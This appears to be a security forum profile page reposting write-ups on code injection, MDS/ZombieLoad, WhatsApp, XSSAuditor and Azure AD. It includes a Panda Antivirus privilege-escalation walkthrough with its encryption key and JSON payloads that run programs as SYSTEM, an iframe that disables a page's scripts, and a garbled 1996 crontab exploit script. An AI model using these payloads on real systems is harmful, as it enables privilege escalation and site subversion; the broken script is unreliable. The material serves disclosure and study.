Jump to content

Nytro

Administrators
  • Posts

    18772
  • Joined

  • Last visited

  • Days Won

    729

Everything posted by Nytro

  1. Inserting data into other processes’ address space May 18, 2019 in Anti-*, Anti-Forensics, Code Injection, Compromise Detection, EDR, Random ideas Code Injection almost always requires some sort of direct inter-process communication to inject the payload. Typically, the injecting process will first plant the shellcode inside other process’ address space, and then will attempt to trigger the execution of that code via remote thread, APC, patching (e.g. of NtClose function), or one of many recently described code execution tricks, etc.. There are obviously other more friendly alternatives, but mainly focused on loading a DLL in a forced/manipulated way (e.g. using LOLBIN techniques, phantom DLL loading, side-loading /OS bugs, plugX etc./, API trickery, etc.). Over last few months I had discussions with many malware analysts and vulnerability researchers about various code/data injection tricks… This post is trying to give a very high level summary of available data injection tricks. Yes, the WriteProcessMemory and NtWriteVirtualMemory are not enough anymore (obviously!) but they are not the only option either… Note here that actual code execution is a different story and not always possible. And actually, it is most of the time not even possible, but in this post we don’t care. This post is focusing primarily on ‘what-if’ scenarios… not all of them have to be successful. Okay, for the lack of a better incentive… just think of injecting EICAR string into other processes just to see how the existing/running AV / EDR will react. Curious? I sure am ! And if you need an immediate example – look at this post. We can instrument csrss.exe to receive any data we want by triggering the hard error with… a message a.k.a. data we fully control. We don’t even need to craft a dedicated file – we could simply call the NtRaiseHardError API with appropriate arguments… Anyways… let’s come back to the data injection. When we start thinking of possible injection avenues they are all over the place… Well… many articles were written about interprocess communication (IPC) and this is the first place where we can look at what’s available. As per the MS article, the most popular IPC mechanisms are: Clipboard COM Data Copy DDE File Mapping Mailslots Pipes RPC Windows Sockets But there is more… For example, if you spawn a child process, you can pass data to it via the command line argument or via the environment block – this is because you can control these buffers 100% – you are the (bad) parent process after all!. The command line-as-a-code-inject trick is something I saw many years ago (at least 12!) so it’s definitely not my original idea. For the second technique I am not sure there is any PoC, but for it to succeed, the environment block requires the data/code to be in a textual form with series of string=value pairs. Yes, actual environment variables and their values, or lookalikes. As with everything, there is already an existing body of knowledge to address that last bit e.g. English Shellcode (PDF warning) from Johns Hopkins University. For GUI applications, there are windows messages and their wrappers (e.g. SetWindowText, but also specific control messages e.g. WM_SETTEXT), and common control-specific messages (not covered here in detail); there are also windows properties (SetProp), specific commands to add/remove items from menus, etc. Then there is a good old clipboard, Accessibility functions, WM_COPYDATA message, and many interfaces allowing remote programs to access some of the application data – often using some legacy method (e.g. IWebBrowser2, DDE). We can also play with resources and modify them, where applicable e.g. with MUI file poisoning nothing stops us from injecting extra data to signed processes using resources tweaked to our needs! In some cases Registry Entries or configuration files (.ini, but also proprietary files) could work too – especially these that are always used by the target application and accessed/refreshed often (e.g. wincmd.ini for Total Commander). Anytime the program loads these settings/registry values they will be loaded somewhere into program memory (the data doesn’t even need to be correct all the time as long as it is being read by the target application and is stored in memory, even if temporarilyy). Small shellcodes could replace Registry settings, in particular strings, paths and data ‘guaranteed’ to be available immediately, or almost immediately (f.ex. the MRU list), etc. Depending on how the target application stores/uses that data (locally, on stack, or globally in some non-volatile memory area) it could remain persistent for a while. And in some cases, e.g. with text editors, spreadsheets, files could be loaded anytime the application is re-launched. Data/code could be stored in templates, highlighting files, scripts, etc. It’s very vague, of course, but it’s not hard to find locations that could be interesting e.g. for Regedit you could use its bookmarking area (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Applets\Regedit\Favorites) to inject some data into that process. For Ultraedit you could look at Highlighting files, wincmd.ini is a great target for Total Commander, etc. Registry settings are very interesting in general. What if e.g. we created a fake font, installed it on a targeted system and then made sure that it is loaded as a default for cmd.exe or powershell.exe terminal windows? The font could be a copy of one of the standard fonts, but additionally include some extra data ? What about a corporate wallpaper that could be slightly modified and include a small shell-code that would be always loaded to memory after logon (some consideration for bitmap storage format in memory is needed for this case, but it’s trivial given the number of device context- and bitmap-related functions offered by GDI). Then we have address books for various programs, templates, databases (e.g. SQLITE3 in so many applications), backup files, icons, cursors, pictures, animations, and so on and so forth. If any of these can be loaded to memory by default, it is a possible place to inject whatever we want. Then there are trivial cases: for example Notepad loading a binary file into its window won’t make sense as we will see the corrupted garbage, but we only care about what’s in memory, not what’s displayed on GUI; if the binary resides in memory for a while, then it could be used as a data/code storage (i.e. shellcode could be loaded into Notepad memory directly via command line argument, from a file; also, as mentioned above the shellcode could appear as a typical English text so there is no issues with encoding/code mapping). This can go and on… Many of these leave a lot of forensic traces in memory, of course, but I believe they will become harder and harder to pinpoint using traditional DFIR methods. The truth is that data sharing (read: injection) is actually a BIG part of native Windows architecture. While I focused on trivial cases, let’s not forget about many others to which I already alluded earlier: shared memory sections, pipes, sockets, IOCTLs accepting incorrect buffers, and many other interprocess communication methods – they all will sooner or later be abused one way or another. Living Off the land. Bring Your Own Vulnerability. Bring Your Own Lolbin. Blend in. IMHO abusing the Native Architecture and signed executables and drivers is going to be something we will see more on regular basis. As usual, seasoned vulnerability researchers and companies focused on finding escalation of privileges, and local/remote code execution bugs pave this road for many years, but it’s only now gaining its momentum… So, yes… IMHO from a defense perspective it’s a battle already lost. Let’s hope AV and EDRs will focus more on plain-vanilla Data Injection trickery soon… Or we all succumb to a completely new Windows paradigm — apps. No more hacking, no more reversing, just a controlled, sandboxed, “telemetrized” environment and… the end of some era… a better one than the one that follows… at least, IMHO Sursa: http://www.hexacorn.com/blog/2019/05/18/inserting-data-into-other-processes-address-space/
  2. Tuesday, May 14, 2019 Panda Antivirus - Local Privilege Escalation (CVE-2019-12042) Hello, This blogpost is about a vulnerability that I found in Panda Antivirus that leads to privilege escalation from an unprivileged account to SYSTEM. The affected products are : Versions < 18.07.03 of Panda Dome, Panda Internet Security, Panda Antivirus Pro, Panda Global Protection, Panda Gold Protection, and old versions of Panda Antivirus >= 15.0.4. The vulnerability was fixed in the latest version : 18.07.03 The Vulnerability: The vulnerable system service is AgentSvc.exe. This service creates a global section object and a corresponding global event that is signaled whenever a process that writes to the shared memory wants the data to be processed by the service. The vulnerability lies in the weak permissions that are affected to both these objects allowing "Everyone" including unprivileged users to manipulate the shared memory and the event. (Click to zoom) (Click to zoom) Reverse Engineering and Exploitation : The service creates a thread that waits indefinitely on the memory change event and parses the contents of the memory when the event is signaled. We'll briefly describe what the service expects the contents of the memory to be and how they're interpreted. When the second word from the start of the shared memory isn't zero, a call is made to the function shown below with a pointer to the address of the head of a list. (Click to zoom) The structure of a list element looks like this, we'll see what that string should be representing shortly : typedef struct StdList_Event { struct StdList_Event* Next; struct StdList_Event* Previous; struct c_string { union { char* pStr; char str[16]; }; unsigned int Length; unsigned int InStructureStringMaxLen; } DipsatcherEventString; //.. }; As shown below, the code expects a unicode string at offset 2 of the shared memory. It instantiates a "wstring" object with the string and converts the string to ANSI in a "string" object. Moreover, a string is initialized on line 50 with "3sa342ZvSfB68aEq" and passed to the function "DecodeAndDecryptData" along with the attacker's controlled ANSI string and a pointer to an output string object. (Click to zoom) The function simply decodes the string from base64 and decrypts the result using RC2 with the key "3sa342ZvSfB68aEq". So whatever we supply in the shared memory must be RC2 encrypted and then base64 encoded. (Click to zoom) When returning from the above function, the decoded data is converted to a "wstring" (indicating the nature of the decrypted data). The do-while loop extracts the sub-strings delimited by '|' and inserts each one of them in the list that was passed in the arguments. (Click to zoom) When returning from this function, we're back at the thread's main function (code below) where the list is traversed and the strings are passed to the method InsertEvent of the CDispatcher class present in Dispatcher.dll. We'll see in a second what an event stands for in this context. (Click to zoom) In Dispatcher.dll we examine the CDispatcher::InsertEvent method and see that it inserts the event string in a CQueue queue. (Click to zoom) The queue elements are processed in the CDispatcher::Run method running in a separate thread as shown in the disassembly below. (Click to zoom) The CRegisterPlugin::ProcessEvent method does parsing of the attacker controlled string; Looking at the debug error messages, we find that we're dealing with an open-source JSON parser : https://github.com/udp/json-parser (Click to zoom) Now that we know what the service expects us to send it as data, we need to know the JSON properties that we should supply. The method CDispatcher::Initialize calls an interesting method CRegisterPlugins::LoadAllPlugins that reads the path where Panda is installed from the registry then accesses the "Plugins" folder and loads all the DLLs there. A DLL that caught my attention immediately was Plugin_Commands.dll and it appears that it executes command-line commands. (Click to zoom) Since these DLLs have debugging error messages, they make locating methods pretty easy. It only takes a few seconds to find the Run method shown below in Plugin_Commands.dll. (Click to zoom) In this function we find the queried JSON properties from the input : (Click to zoom) It also didn't hurt to intercept some of these JSON messages from the kernel debugger (it took me a few minutes to intercept a command-line execute event). (Click to zoom) The ExeName field is present as we saw in the disassembly, an URL, and two md5 hashes. By then, I was wondering if it was possible to execute something from disk and what properties were mandatory and which were optional. Tracking the SourcePath property in the Run method's disassembly we find a function that parses the value of this property and determines whether it points to an URL or to a file on disk. So it seems that it is possible to execute a file from disk by using the file:// URI. (Click to zoom) Looking for the mandatory properties, we find that we must supply at minimum these two : ExeName and SourcePath (as shown below). Fails (JZ fail) if the property ExeName is absent Fails if the property SourcePath is absent However when we queue a "CmdLineExecute" event with only these two fields set, our process isn't created. While debugging this, I found that the "ExeMD5" property is also mandatory and it should contain a valid MD5 hash of the executable to run. The function CheckMD5Match dynamically calculates the file hash and compares it to the one we supply in the JSON property. (Click to zoom) And if successful the execution flow takes as to "CreateProcessW". (Click to zoom) Testing with the following JSON (RC2 + Base64 encoded) we see that we successfully executed cmd.exe as SYSTEM : { "CmdLineExecute": { "ExeName": "cmd.exe", "SourcePath": "file://C:\\Windows\\System32", "ExeMD5": "fef8118edf7918d3c795d6ef03800519" } } (Click to zoom) However when we try to supply an executable of our own, Panda will detect it as malware and delete it, even if the file is benign. There is a simple bypass for this in which we tell cmd.exe to start our process for us instead. The final JSON would look like something like this : { "CmdLineExecute": { "ExeName": "cmd.exe", "Parameters": "/c start C:\\Users\\VM\\Desktop\\run_me_as_system.exe", "SourcePath": "file://C:\\Windows\\System32", "ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE } } The final exploit drops a file from the resource section to disk, calculates the MD5 hash of cmd.exe present on the machine, builds the JSON, encrypts then encodes it, and finally writes the result to the shared memory prior to signaling the event. Also note that the exploit works without recompiling on all the products affected under all supported Windows versions. (Click to zoom) The exploit's source code is on my GitHub page, here is a link to the repository : https://github.com/SouhailHammou/Panda-Antivirus-LPE Thanks for reading and until another time Follow me on Twitter : here Posted by Souhail Hammou at 8:22 PM Sursa: https://rce4fun.blogspot.com/2019/05/panda-antivirus-local-privilege.html
  3. Nu te baza pe facultate pentru a invatat securitate. Exista ceva programe de master, insa nu stiu nimic de licenta. Fa o facultate de informatica, o sa te ajute sa inveti cate ceva din mai multe domenii. Cauta posturi pe forum legate de alegerea facultatii. Intre timp, invata singur, fa CTF-uri, Internetul e plin de resurse (vezi sectiunea Tutoriale Engleza de aici de pe forum).
  4. Hey folks, time for some good ol' fashioned investigation! Open Rights Group & Who Targets Me are monitoring European electrions. GDPR breaches, privacy infringements, the works! They released a browser extension that records every political ad served to users on Facebook, including the data they used to target individuals. If you use Facebook, install the extension and browse your Facebook feed freely. If you aren't on Facebook, help us out by spreading the word. No additional personal information is recorded. If you have any concerns about this, ping me! We can pool all our questions and I'll send them an open letter, from the Security Espresso community. This information is via our good friends at Asociatia pentru Tehnologie si Internet. https://whotargets.me/en/ https://www.openrightsgroup.org/campaigns/who-targets-me-faq Via: https://www.facebook.com/secespresso/
  5. Adventures in Video Conferencing - Natalie Silvanovich - INFILTRATE 2019 INFILTRATE 2020 will be held April 23/24, Miami Beach, Florida, infiltratecon.com
      • 1
      • Thanks
  6. System Down: A systemd-journald Exploit Read the advisory Accompanying exploit: system-down.tar.gz Sursa: https://www.qualys.com/research/security-advisories/
      • 1
      • Upvote
  7. RIDL and Fallout: MDS attacks Attacks on the newly-disclosed "MDS" hardware vulnerabilities in Intel CPUs The RIDL and Fallout speculative execution attacks allow attackers to leak confidential data across arbitrary security boundaries on a victim system, for instance compromising data held in the cloud or leaking your information to malicious websites. Our attacks leak data by exploiting the newly disclosed Microarchitectural Data Sampling (or MDS) side-channel vulnerabilities in Intel CPUs. Unlike existing attacks, our attacks can leak arbitrary in-flight data from CPU-internal buffers (Line Fill Buffers, Load Ports, Store Buffers), including data never stored in CPU caches. We show that existing defenses against speculative execution attacks are inadequate, and in some cases actually make things worse. Attackers can use our attacks to obtain sensitive data despite mitigations, due to vulnerabilities deep inside Intel CPUs. Sursa: https://mdsattacks.com/
  8. ZombieLoad Attack Watch out! Your processor resurrects your private browsing-history and other sensitive data. After Meltdown, Spectre, and Foreshadow, we discovered more critical vulnerabilities in modern processors. The ZombieLoad attack allows stealing sensitive data and keys while the computer accesses them. While programs normally only see their own data, a malicious program can exploit the fill buffers to get hold of secrets currently processed by other running programs. These secrets can be user-level secrets, such as browser history, website content, user keys, and passwords, or system-level secrets, such as disk encryption keys. The attack does not only work on personal computers but can also be exploited in the cloud. Make sure to get the latest updates for your operating system! Sursa: https://zombieloadattack.com/
  9. The NSO WhatsApp Vulnerability – This is How It Happened May 14, 2019 Earlier today the Financial Times published that there is a critical vulnerability in the popular WhatsApp messaging application and that it is actively being used to inject spyware into victims phones. According to the report, attackers only need to issue specially crafted VoIP calls to the victim in order to infect it with no user interaction required for the attack to succeed. As WhatsApp is used by 1.5bn people worldwide, both on Android phones and iPhones, the messaging and voice application is known to be a popular target for hackers and governments alike. Immediately after the publication went live, Check Point Research began analyzing the details about the now-patched vulnerability, referred to as CVE-2019-3568. Here is the first technical analysis to explain how it happened. Technical Details Facebook’s advisory describe it as a “buffer overflow vulnerability” in the SRTCP protocol, so we started by patch-diffing the new WhatsApp version for android (v2.19.134, 32-bit program) in search for a matching code fix. Soon enough we stumbled upon two code fixes in the SRTCP module: Size Check #1 The patched function is a major RTCP handler function, and the added fix can be found right at its start. The added check verifies the length argument against a maximal size of 1480 bytes (0x5C8). During our debugging session we confirmed that this is indeed a major function in the RTCP module and that it is called even before the WhatsApp voice call is answered. Size Check #2 In the flow between the two functions we can see that the same length variable is now used twice during the newly added sanitation checks (marked in blue): Validation that the packet’s length field doesn’t exceed the length. Additional check that the length is one again <= 1480, right before a memory copy. As one can see, the second check includes a newly added log string that specifically say it is a sanitation check to avoid a possible overflow. Conclusion WhatsApp implemented their own implementation of the complex SRTCP protocol, and it is implemented in native code, i.e. C/C++ and not Java. During our patch analysis of CVE-2019-3568, we found two newly added size checks that are explicitly described as sanitation checks against memory overflows when parsing and handling the network packets in memory. As the entire SRTCP module is pretty big, there could be additional patches that we’ve missed. In addition, judging by the nature of the fixed vulnerabilities and by the complexity of the mentioned module, there is also a probable chance that there are still additional unknown parsing vulnerabilities in this module. Sursa: https://research.checkpoint.com/the-nso-whatsapp-vulnerability-this-is-how-it-happened/
  10. Adversarial Examples for Electrocardiograms Xintian Han, Yuxuan Hu, Luca Foschini, Larry Chinitz, Lior Jankelson, Rajesh Ranganath (Submitted on 13 May 2019) Among all physiological signals, electrocardiogram (ECG) has seen some of the largest expansion in both medical and recreational applications with the rise of single-lead versions. These versions are embedded in medical devices and wearable products such as the injectable Medtronic Linq monitor, the iRhythm Ziopatch wearable monitor, and the Apple Watch Series 4. Recently, deep neural networks have been used to classify ECGs, outperforming even physicians specialized in cardiac electrophysiology. However, deep learning classifiers have been shown to be brittle to adversarial examples, including in medical-related tasks. Yet, traditional attack methods such as projected gradient descent (PGD) create examples that introduce square wave artifacts that are not physiological. Here, we develop a method to construct smoothed adversarial examples. We chose to focus on models learned on the data from the 2017 PhysioNet/Computing-in-Cardiology Challenge for single lead ECG classification. For this model, we utilized a new technique to generate smoothed examples to produce signals that are 1) indistinguishable to cardiologists from the original examples 2) incorrectly classified by the neural network. Further, we show that adversarial examples are not rare. Deep neural networks that have achieved state-of-the-art performance fail to classify smoothed adversarial ECGs that look real to clinical experts. Subjects: Signal Processing (eess.SP); Cryptography and Security (cs.CR); Machine Learning (cs.LG); Machine Learning (stat.ML) Cite as: arXiv:1905.05163 [eess.SP] (or arXiv:1905.05163v1 [eess.SP] for this version) Submission history From: Xintian Han [view email] [v1] Mon, 13 May 2019 17:47:25 UTC (1,236 KB) Which authors of this paper are endorsers? | Disable MathJax (What is MathJax?) Sursa: https://arxiv.org/abs/1905.05163
  11. Chrome switching the XSSAuditor to filter mode re-enables old attack Fri 10 May 2019 Recently, Google Chrome changed the default mode for their Cross-Site Scripting filter XSSAuditor from block to filter. This means that instead of blocking the page load completely, XSSAuditor will now continue rendering the page but modify the bits that have been detected as an XSS issue. In this blog post, I will argue that the filter mode is a dangerous approach by re-stating the arguments from the whitepaper titled X-Frame-Options: All about Clickjacking? that I co-authored with Mario Heiderich in 2013. After that, I will elaborate XSSAuditor's other shortocmings and revisit the history of back-and-forth in its default settings. In the end, I hope to convince you that XSSAuditor's contribution is not just neglegible but really negative and should therefore be removed completely. JavaScript à la Carte When you allow websites to frame you, you basically give them full permission to decide, what part of JavaScript of your very own script can be executed and what cannot. That sounds crazy right? So, let’s say you have three script blocks on your website. The website that frames you doesn’t mind two of them - but really hates the third one. maybe a framebuster, maybe some other script relevant for security purposes. So the website that frames you just turns that one script block off - and leave the other two intact. Now how does that work? Well, it’s easy. All the framing website is doing, is using the browser’s XSS filter to selectively kill JavaScript on your page. This has been working in IE some years ago but doesn’t anymore - but it still works perfectly fine in Chrome. Let’s have a look at an annotated code example. Here is the evil website, framing your website on example.com and sending something that looks like an attempt to XSS you! Only that you don’t have any XSS bugs. The injection is fake - and resembles a part of the JavaScript that you actually use on your site: <iframe src="//example.com/index.php?code=%3Cscript%20src=%22/js/security-libraries.js%22%3E%3C/script%3E"></iframe> Now we have your website. The content of the code parameter above is part of your website anyway - no injection here, just a match between URL and site content: <!doctype html> <h1>HELLO</h1> <script src="/js/security-libraries.js"></script> <script> // assumes that the libraries are included </script> The effect is compelling. The load of the security libraries will be blocked by Chrome’s XSS Auditor, violating the assumption in the following script block, which will run as usual. Existing and Future Countermeasures So, as we see defaulting to filter was a bad decision and it can be overriden with the X-XSS-Protection: 1; mode=block header. You could also disallow websites from putting you in an iframe with X-Frame-Options: DENY, but it still leaves an attack vector as your websites could be opened as a top-level window. (The Cross-Origin-Opener-Policy will help, but does not yet ship in any major browser). Surely, Chrome might fix that one bug and stop exposing onerror from internal error pages . But that's not enough. Other shortcomings of the XSSAuditor XSSAuditor has numerous problems in detecting XSS. In fact, there are so many that the Chrome Security Team does not treat bypasses as security bugs in Chromium. For example, the XSSAuditor scans parameters individually and thus allows for easy bypasses on pages that have multiple injections points, as an attacker can just split their payload in half. Furthermore, XSSAuditor is only relevant for reflected XSS vulnerabilities. It is completely useless for other XSS vulnerabilities like persistent XSS, Mutation XSS (mXSS) or DOM XSS. DOM XSS has become more prevalent with the rise of JavaScript libraries and frameworks such as jQuery or AngularJS. In fact, a 2017 research paper about exploiting DOM XSS through so-called script gadgets discovered that XSSAuditor is easily bypassed in 13 out of 16 tested JS frameworks History of XSSAuditor defaults Here's a rough timeline 2010 - Paper "Regular expressions considered harmful in client-side XSS filters" published. Outlining design of the XSSAuditor, Chrome ships it with default to filter 2016 - Chrome switching to block due to the attacks with non-existing injections November 2018 - Chrome error pages can be observed in an iframe, due to the onerror event being triggered twice, which allows for cross-site leak attacks ](https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#xss-filters). January 2019 (hitting Chrome stable in April 2019) - XSSAuditor switching back to filter Conclusion Taking all things into considerations, I'd highly suggest removing the XSSAuditor from Chrome completely. In fact, Microsoft has announced they'd remove the XSS filter from Edge last year. Unfortunately, a suggestion to retire XSSAuditor initiated by the Google Security Team was eventually dismissed by the Chrome Security Team. This blog post does not represent the position of my employer. Thanks to Mario Heiderich for providing valuable feedback: Supporting arguments and useful links are his. Mistakes are all mine. Other posts Chrome switching the XSSAuditor to filter mode re-enables old attack Challenge Write-up: Subresource Integrity in Service Workers Finding the SqueezeBox Radio Default SSH Passwort New CSP directive to make Subresource Integrity mandatory (`require-sri-for`) Firefox OS apps and beyond Teacher's Pinboard Write-up A CDN that can not XSS you: Using Subresource Integrity The Twitter Gazebo German Firefox 1.0 ad (OCR) My thoughts on Tor appliances Subresource Integrity Revoke App Permissions on Firefox OS (Self) XSS at Mozilla's internal Phonebook Tales of Python's Encoding On the X-Frame-Options Security Header html2dom Security Review: HTML sanitizer in Thunderbird Week 29 2013 The First Post Sursa: https://frederik-braun.com/xssauditor-bad.html
      • 1
      • Thanks
  12. dsync IDAPython plugin that synchronizes decompiled and disassembled code views. Please refer to comments in source code for more details. Requires 7.2 Sursa: https://github.com/patois/dsync
  13. AntiFuzz: Impeding Fuzzing Audits of Binary Executables Authors: Emre Güler, Cornelius Aschermann, Ali Abbasi, and Thorsten Holz, Ruhr-Universität Bochum Abstract: A general defense strategy in computer security is to increase the cost of successful attacks in both computational resources as well as human time. In the area of binary security, this is commonly done by using obfuscation methods to hinder reverse engineering and the search for software vulnerabilities. However, recent trends in automated bug finding changed the modus operandi. Nowadays it is very common for bugs to be found by various fuzzing tools. Due to ever-increasing amounts of automation and research on better fuzzing strategies, large-scale, dragnet-style fuzzing of many hundreds of targets becomes viable. As we show, current obfuscation techniques are aimed at increasing the cost of human understanding and do little to slow down fuzzing. In this paper, we introduce several techniques to protect a binary executable against an analysis with automated bug finding approaches that are based on fuzzing, symbolic/concolic execution, and taint-assisted fuzzing (commonly known as hybrid fuzzing). More specifically, we perform a systematic analysis of the fundamental assumptions of bug finding tools and develop general countermeasures for each assumption. Note that these techniques are not designed to target specific implementations of fuzzing tools, but address general assumptions that bug finding tools necessarily depend on. Our evaluation demonstrates that these techniques effectively impede fuzzing audits, while introducing a negligible performance overhead. Just as obfuscation techniques increase the amount of human labor needed to find a vulnerability, our techniques render automated fuzzing-based approaches futile. Open Access Media USENIX is committed to Open Access to the research presented at our events. Papers and proceedings are freely available to everyone once the event begins. Any video, audio, and/or slides that are posted after the event are also free and open to everyone. Support USENIX and our commitment to Open Access. Guler Paper (Prepublication) PDF BibTeX Sursa: https://www.usenix.org/conference/usenixsecurity19/presentation/guler
  14. The Origin of Script Kiddie - Hacker Etymology 12 May 2019 Blog TL;DR The term script kiddie probably originated around 1994, but the first public record is from 1996. watch on YouTube Introduction In my early videos I used the slogan "don’t be a script kiddie" in the intro. And quite some time ago I got the following YouTube comment about it: Is "don’t be a script kiddie" a reference to Mr. Robot? Or is it already a thing in general? I think it would be interesting to look for the origin of the term script kiddie and at the same time it gives us an excuse to look into the past, to better understand on what our community is built upon and somewhat honour and remember it. I wish I was old enough to have experienced that time myself to tell you first-hand stories, but unfortunately I’m born in the early 90s and so I’m merely an observer and explorer of the publicly available historical records. But there is fascinating stuff out there that I want to share with you. Phrack The first resource I wanted to check is Phrack. Phrack is probably the longest running ezine as it was started in 1985 by Taran King and Knight Lightning. source: http://www.erik.co.uk/hackerpix/ I highly encourage you to just randomly click around through those old issues and read some random articles. You will find stuff about operating systems and various technologies you might have never heard about - because they don’t exist anymore. But you also find traces of the humans behind all this through the Phrack Pro-Philes and other articles. Maybe checkout the famous hacker manifesto from 1986 - The Conscience of a Hacker. It was written by a teenager, calling himself The Mentor, who probably never thought that his rage induced philosophical writing would go on to influence a whole generation of hackers. But it becomes even more fascinating with the privilege of being here in the future, right now, and looking back. I found this talk from 2002 by The Mentor and he is now a grown man reflecting on his experience about this. It’s emotional and human. And in the end this is what the hacker culture is. It’s full of humans with complex emotions, we shouldn't forget that. Watch on YouTube Anyway, I’m getting really distracted here. Back to script kiddie research. The oldest occurrence of script kiddie we can find is from issue 54, released in 1998, article 9 and 11. [...] when someone posts (say) a root hole in Sun's comsat daemon, our little cracker could grep his list for 'UDP/512' and 'Solaris 2.6' and he immediately has pages and pages of rootable boxes. It should be noted that this is SCRIPT KIDDIE behavior. And the other is a sarcastic comment about rootshell.com being hacked and them handing over data to law enforcement: Lets give out scripts that help every clueless script kiddie break into thousands of sites worldwide. then narc off the one that breaks into us. So this issue is from 1998, which is already the 90s, but I’m sure there have to be earlier occurrences. Wikipedia is often pretty good with information and references, but unfortunately there are only links going back to the 2000s. Yet Another Bulletin Board System Then I looked at the textfiles.com archive, which is ran by Jason Scott. This is a huuuge archive of old zines, bulletin boards, mailing lists, and more. And so I started to search through that and indeed I found some interesting traces from around 1993/1994 in a BBS called yabbs - yet another bulletin board system created by Alex Wetmore in 1991 at Carnegie Mellon. The first interesting find is from October 1993: Enjoy your K-Rad elite kodez kiddies Here the term kiddie is not prefixed with script, and I’m not sure if it’s “elite code, kiddies” or elite "code kiddies”. But code and script is almost a synonymous and it seems to be used in a very similar derogatory way as the modern terminology. Then in June 1994 there is this message: Codez kiddies just don’t seem to understand that those scripts had to come from somwhere. Hacking has fizzled down to kids running scripts to show off at a 2600 meet. We have again a reference to “codez kiddies” but now the term script also starts to appear in the same sentence. And then in July 1994 it got combined to: Even 99% of the wanker script codez kiddies knows enough to not run scripts on the Department of Defense. Isn’t this fascinating! I believe that 1994 is the year where the term script kiddie started to appear. But this example is still not 100% the modern term... The First Script Kiddie The earliest usage of literally script kiddie I was only able to find in an exploit from 1996. [r00t.1] [crongrab] [public release] Crontab has a bug. You run crontab -e, then you goto a shell, relink the temp fire that crontab is having you edit, and presto, it is now your property. This bug has been confirmed on various versions of OSF/1, Digital UNIX 3.x, and AIX 3.x If, while running my script, you somehow manage to mangle up your whole system, or perhaps do something stupid that will place you in jail, then neither I, nor sirsyko, nor the other fine folks of r00t are responsible. Personally, I hope my script eats your cat and causes swarms of locuses to decend down upon you, but I am not responsible if they do. --kmem. [-- Script kiddies cut here -- ] #!/bin/sh # This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996 # This crappy exploit script was written by kmem. # and remember if ur not owned by r00t, ur not worth owning # # usage: crongrab echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others??? echo if this did not work on OSF/1 read the comments -- it is easy to fix. if [ $# -ne '2' ]; then echo "usage: $0 " exit fi HI_MUDGE=$1 YUMMY=$2 export HI_MUDGE UNAME=`uname` GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1" #SETUP the awk script cat >1.awk <aix.sed <myedit.sh <.r00t-tmp1 sed -f aix.sed .r00t-tmp1 > $YUMMY elif [ $UNAME = "OSF1" ]; then #FOR DIGITAL UNIX 3.X or higher machines uncomment these 2 lines crontab -e 2>.r00t-tmp1 awk -f 1.awk .r00t-tmp1 >$YUMMY # FOR PRE DIGITAL UNIX 3.X machines uncomment this line #crontab -l 2>&1 > $YUMMY else echo "Sorry, dont know your OS. But you are a bright boy, read the skript and" echo "Figger it out." exit fi echo "Checkit out - $YUMMY" echo "sirsyko and kmem kickin it out." echo "r00t" #cleanup our mess crontab -r VISUAL=$oldvis EDITOR=$oldedit HI_MUDGE='' YUMMY='' export HI_MUDGE export YUMMY export VISUAL export EDITOR rm -f $GIRLIES [-- Script kiddies cut here -- ] THERE IT IS! This bug was discovered by sirsyko on Thursday 21st Mar of 1996, just after midnight. I guess nothing has changed with hacking into the night. And this exploit script was written by kmem. You know what’s cool? With a bit of digging I actually found party pictures from around 1996/97 from kmem and sirsyko. I’m so grateful that there was some record keeping through pictures from that time, which takes away some of the mysticism that surrounds those early hackers - they look like normal dudes! But anyway, is this really the first time that somebody used the term script kiddie? Is this where it all started? Well… When I was asking around, somebody reminded me of Cunningham's Law the best way to get the right answer on the internet is not to ask a question; it's to post the wrong answer. so... I DECLARE THIS EXPLOIT TO BE THE FIRST USAGE OF THE TERM SCRIPT KIDDIE! IT’S. A. FACT! Epilogue I’m aware that a lot of the hacking culture happened in private boards, forums and chat rooms. But maybe somebody out there has old (non-)public IRC logs and can grep over it for us. I think it would be really cool to find more traces about the evolution of this term. Also I would LOVE to hear the story behind any exploit from the 90s. How did you find it, did you share it, how did you learn what you knew, what kind of research did you do yourself, who was influential to you, did anybody steal your bug, were there bug collisions, what was it like to experience a buffer overflow for the first time, etc. I think there are a lot of fascinating stories hidden behind those zines and exploits from that time and they haven’t been told yet. I don’t want them to be forgotten - please share your story. Update I was just sent this talk by Alex Ivanov and @JohnDunlap2 from HOPE 2018. They saw my tweet from 2018 about the exploit in 1996, but they go even further! A lot of info about k-rad, the first 1337 speak, etc. LiveOverflow wannabe hacker... Sursa: https://liveoverflow.com/the-origin-of-script-kiddie-hacker-etymology/
  15. Red Teaming Microsoft: Part 1 – Active Directory Leaks via Azure Mike Felch// With so many Microsoft technologies, services, integrations, applications, and configurations it can create a great deal of difficulty just to manage everything. Now imagine trying to secure an environment that goes well beyond the perimeter. While moving everything to a cloud provider can provide amazing return in scalability, functionality, and even savings, it can also create major blind-spots. Over the past year, I have been looking into ways to target organizations that utilize Microsoft as their cloud provider. I hope to release a number of different techniques that have been extremely beneficial in uncovering these blind-spots, much like the research Beau Bullock (@dafthack) and I did when we focused our scope on Google. I won’t begin to mislead you, I am no Microsoft expert. In fact, the more I read about the products and services the more I felt lost. While over the past year I’ve been able to maneuver through and bend these technologies in order to target the organizations better from a red team perspective, I struggled trying to understand many different concepts. What is the default configuration for this? Is this provided by default? Is this syncing with everything? If I make changes here, do they propagate back? Why not? The list goes on and on. When I’ve shared some of these techniques privately it was inevitable that a question would immediately follow. While I feel bringing a problem without a solution is irresponsible, there may be times like now where solutions aren’t black and white. My advice is to know your environment, know your technologies, and if you aren’t sure then reach out to your service provider so you can be sure. The Microsoft Landscape So you’ve been running Microsoft Active Directory and Exchange on-prem for years but want to quickly deploy Microsoft Office to your employees while also providing them with access to a webmail portal, Sharepoint, and SSO for some internal applications. Somewhere along the way you decided to migrate to Office 365 and everything works well! All your users can authenticate with their network credentials and their email works great! Would you consider yourself an on-prem organization still or are you in the infamous cloud now? Maybe you took a hybrid approach and did both. Microsoft provides an amazing amount of integrations that they support but how do you know if you are managing everything correctly? A Hypothetical Complex Situation For managing users on-prem there’s the traditional Microsoft AD. For managing users in cloud services you could leverage Azure AD. For mail there’s Exchange on-prem but you could always move email to Exchange online. If you want the full suite of Microsoft Office there’s Office 365 